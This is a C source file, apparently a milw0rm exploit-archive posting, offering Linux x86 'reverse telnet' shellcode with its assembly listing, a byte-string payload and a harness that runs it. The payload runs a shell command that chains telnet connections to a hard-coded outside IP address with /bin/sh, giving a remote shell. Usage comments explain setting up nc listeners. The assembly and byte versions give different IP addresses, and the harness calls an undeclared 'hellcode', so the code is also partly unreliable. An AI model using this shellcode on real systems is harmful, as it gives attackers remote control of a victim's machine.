53 lines
No EOL
1.5 KiB
C
53 lines
No EOL
1.5 KiB
C
/*
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Reverse Telnet Shellcode by hts
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*/
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/*
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jmp 0x31
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popl %esi
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movl %esi,0x4f(%esi)
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leal 0x8(%esi),%ebx
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movl %ebx,0x53(%esi)
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leal 0xb(%esi),%ebx
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movl %ebx,0x57(%esi)
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xorl %eax,%eax
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movb %eax,0x7(%esi)
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movb %eax,0xa(%esi)
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movb %eax,0x4e(%esi)
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movl %eax,0x5b(%esi)
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movb $0xb,%al
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movl %esi,%ebx
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leal 0x4f(%esi),%ecx
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leal 0x5b(%esi),%edx
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int $0x80
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xorl %ebx,%ebx
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movl %ebx,%eax
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inc %eax
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int $0x80
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call -0x36
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.string \"/bin/sh -c /bin/telnet 200.182.207.235 5|/bin/sh|/bin/telnet 200.182.207.235 6\"
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*/
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char shellcode[] =
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"\xeb\x31\x5e\x89\x76\x4f\x8d\x5e\x08\x89\x5e\x53"
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"\x8d\x5e\x0b\x89\x5e\x57\x31\xc0\x88\x46\x07\x88"
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"\x46\x0a\x88\x46\x4e\x89\x46\x5b\xb0\x0b\x89\xf3"
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"\x8d\x4e\x4f\x8d\x56\x5b\xcd\x80\x31\xdb\x89\xd8"
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"\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c /bin/"
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"telnet 200.182.207.246 5|/bin/sh|/bin/telnet 200"
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".182.207.246 6";
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#define NAME "Reverse Telnet Shellcode - by hts"
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void main(){
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void (*s)() = (void *)hellcode;
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printf("Shellcode length: %d\nExecuting..\n\n", strlen(hellcode));
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s();
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}
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/* I don't know if exists any reverse telnet shellcode..
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* you should modify your ip addr to use it...
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* to use it, nc -l -p 5 , on another terminal nc -l -p 6
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* then run the shellcode with your ip addr or just 127.000.000.001
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*/
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// milw0rm.com [2004-09-26]
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